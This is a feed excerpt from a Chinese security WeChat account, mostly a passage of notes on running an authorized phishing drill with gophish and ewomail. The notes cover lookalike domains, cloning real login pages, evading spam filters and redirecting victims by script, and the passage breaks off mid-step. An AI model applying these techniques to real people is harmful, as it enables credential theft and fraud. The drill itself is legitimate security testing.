16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><img data-ratio="0.09738219895287958" style="height: auto !important;" data-type="png" data-w="1910" src="https://wechat2rss.xlab.app/img-proxy/?k=a7db6b69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw4OyVn643ntcjuibLxb8J0T9aXVnTkNQSOLQ6T1rXv7n3oicCkibjibDQn3pWThZ0wr8bicGd4kuJjvibw%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><h3 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.2rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">结束</h3><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">如果排除经常欧洲作息以外，渗透还是挺好玩的。。。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><img data-ratio="0.4284722222222222" style="height: auto !important;" data-type="png" data-w="1440" src="https://wechat2rss.xlab.app/img-proxy/?k=781223e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw4OyVn643ntcjuibLxb8J0TicbibnKNJY8cJ72ugaFdTpMjgVwG8vqQR0qKyMSaCg1CaH9xQKZibws2Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">个人博客，大佬轻喷：<a href="https://flowerwind.github.io/" target="_blank">https://flowerwind.github.io/</a></p><p><br/></p><h3 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.2rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">参考</h3><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><a href="https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484301&amp;idx=1&amp;sn=43607c6d410f94b5bfe4bdd4c810e4da&amp;scene=21#wechat_redirect" style="color: rgb(24, 99, 161);" data-linktype="2"><a href="https://mp.weixin.qq.com/s/3dvBMyRyjnmS_ITc6a6ABw" target="_blank">https://mp.weixin.qq.com/s/3dvBMyRyjnmS_ITc6a6ABw</a></a></p><p><br/></p><p><br/></p>



<p><a href="2247483891">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9e933efc&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTM2ODgyMw%3D%3D%26mid%3D2247483891%26idx%3D1%26sn%3D4091066c564f6b01cd2feccf894d8455%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 27 May 2021 17:48:00 +0800</pubDate>
    </item>
    <item>
      <title>钓鱼演练踩坑笔记</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTM2ODgyMw==&amp;mid=2247483848&amp;idx=1&amp;sn=ffe61e386955643924c0bec54d36e60d</link>
      <description>钓鱼演练踩坑笔记</description>
      <content:encoded><![CDATA[<p>
原创 <span>i11us0ry</span> <span>2021-04-06 10:27</span> <span style="display: inline-block;"></span>
</p>

<p>钓鱼演练踩坑笔记</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1f46948b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYye3dx7aicCHFytgQ3G4Xj0csoYG5iaCUuyzbk2XhFgbTrhjwf3D6WKpOA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="  text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem; padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">0x01 前言</h2><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">最近关于钓鱼演练的活比较多，分享一下我的踩坑笔记，主要采用了ewmail、gophish和swaks来完成任务。演练过程中踩了很多坑，也有了很多收获，故打算写一篇笔记，记录自己踩过的坑和对于gophish利用的一些看法。</p><h2 style="  text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem; padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">0x02 背景</h2><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">以某甲方演练要求为例：<br/>1、14400个测试目标。<br/>2、要求点击邮件中钓鱼链接时跳转到的指定域名下的钓鱼网站。<br/>3、只收集点钓鱼网站链接和点击钓鱼网站上点击提交按钮的人（不收集密码等敏感信息）。<br/>4、邮件中要指定钓鱼网页的url，而不是“点击此处”等关键字。</p><h2 style="  text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem; padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">0x03 环境</h2><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">1、购买近似域名，用于迷惑收件人员。<br/>2、两台VPS（推荐使用国外的VPS），用于搭建ewmail和gophish。</p><h2 style="  text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem; padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">0x04 过程</h2><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">1、根据ewmail官方文档一步步搭建好ewmai，设置好域名解析，然后添加邮箱并到邮件后台发送邮件测试服务器的功能是否正常。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><img data-ratio="0.1778846153846154" data-w="832" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=aef2351f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYyiakRm1RIpeEyvKY9BhdDSIEYSAHqrGLkgDqHqvzv8GwURsvt03OqVFw%2F640%3Fwx_fmt%3Dpng"/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">2、根据操作系统下载gophish并解压，然后进入config.json修改gophish配置，如下图所示，admin_server表示gophish后台，将原来的127.0.0.1修改为0.0.0.0，同时可以把原来的默认端口3333改成其他端口，如下图改成了33335端口。phish_server表示监听的钓鱼网页配置，原来默认端口是80，下图则改成了8090端口。use_tls表示是否启用https。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5240384615384616" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=7f6f5398&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYyiaplY4MiaNpmmz0zJU2yOzfxIk0nCqwpZXGTRD85cLYWRyCYViaphw7cQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">3、启动gophish，根据提示密码进入后台，然后修改默认密码</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.46634615384615385" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=b58dd3be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYydMznJ7aUMgnceRp7GGE7hsLIxRrc6Y46uHrTygHmSmyLErp3KFHjnQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">4、同时访问钓鱼页面确保其功能正常（没错，下图就是钓鱼页面正常的表现）。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.34375" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=694fd132&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYyRc2NFFrU5IaBDOrDwCkBiaKc8L8hLN24PSE3fw3Y7dkwsicFt5fcnz4Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">5、从后台可以看到gophish有很多功能模块，大致如下：</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><table><thead><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><th style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">功能</th><th style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">简述</th></tr></thead><tbody><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">Dashboard</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">仪表板查看整体情况</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">Campaigns</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">每次钓鱼任务的配置与详情</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">Users &amp; Groups</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">接收邮件的用户和用户组</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">Email Templates</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">邮件模板</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">Landing Pages</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">钓鱼页面</td></tr><tr style="background-color: rgb(255, 255, 255);border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);"><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;">Sending Profiles</td><td style="padding: 5px 14px;border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;word-break: break-all;">发送邮箱配置</td></tr></tbody></table><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">6、Sending Profiles配置，其中From是“发件人&lt;发件邮箱&gt;”格式，也可以<br/>直接填写发件邮箱。这里有个坑，某些厂商使用的邮件服务器会判断发件邮箱中的关键字，如发件邮箱包含有“admin”、“oa”等关键字的，则发送的邮箱很有可能直接被拦截或丢进垃圾箱。其次，Host处填写的smtp信息，由于大多数厂商都会把smtp的25端口禁掉，因此此处填写的是465端口(SMTPS：SMTP-over-SSL)。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4807692307692308" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=6675443e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYyqmc2ErGDiaDTE4q7NsEgmTJ9kLyZP6YCANwxPHdJ7Nh6G5FYCYpqSMQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">7、Landing Pages钓鱼页面配置，支持两种方式配置。第一种是点击import site然<br/>后输入需要克隆的URL。这种方式是最直接的，但这里也有个坑，比如克隆freebuf的登录网页（<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;"><a href="https://account.tophant.com/login.html" target="_blank">https://account.tophant.com/login.html</a></code>），通过钓鱼链接访问的话是可以访问到完整网页的。<span> <br/></span></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/><span></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4879807692307692" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=2bf0a3ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYyA8KCiaBXg9LzoI71JJdXHkQvwkKz2H3HqPRBJ852RiahttepxY0wlkxQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">但如果克隆189邮箱登录页面（<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;"><a href="https://webmail30.189.cn/w2/" target="_blank">https://webmail30.189.cn/w2/</a></code>），通过钓鱼链接访问的话网页就是不完整的，这和网站对资源管理的策略有关，另外如果直接克隆网页的话还会有编码不同导致乱码等问题。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7908653846153846" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=7b41e0d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYydh1m4GTSwu5eXQicKlkTcfWbQOKPCTg9icv5OjrBnMV0wlD0IvzLCDCA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">第二种方法是直接添加HTML源码，为了避免出现无法加载完整网页的问题，可以将需要克隆的网页静态资源下载下来并放到搭建好gophish的VPS上，然后修改网页源码中相关地址即可，如下可以显示一个近似完整的网页。</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; "><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4879807692307692" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=8cd9d9e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw3JbuZjHj8TJFxfA0CYCYyJb4NjHoiaibMkAqKn2UN1gTkLgZQBaCSe123ZHuoJsLOWiaUQynDTYcLA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none; ">上图点击钓鱼网页链接后跳转的是<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;"><a href="http://ip:8090/?rid=hpnrrmV" target="_blank">http://ip:8090/?rid=hpnrrmV</a></code>，但是甲方希望的是跳转到<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;"><a href="http://mail.xxxx.cn:8090/?rid=hpnrrmV" target="_blank">http://mail.xxxx.cn:8090/?rid=hpnrrmV</a></code>（近似域名）。这里要做的就很简单，首先将钓鱼网页的ip解析到<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">mail.xxxx.cn</code>，然后通过JS来监听钓鱼网页加载状态，当目标访问网页后JS抓取当前URL，提取rid值，然后拼接到<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;"><a href="http://mail.xxxx.cn:8090/?rid" target="_blank">http://mail.xxxx.cn:8090/?rid</a></code>(如果不加rid的话网页显示404)，再做跳转即可，如下【<strong>找了一个测试的邮箱地址</strong>】：</p><p style=" caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0); font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 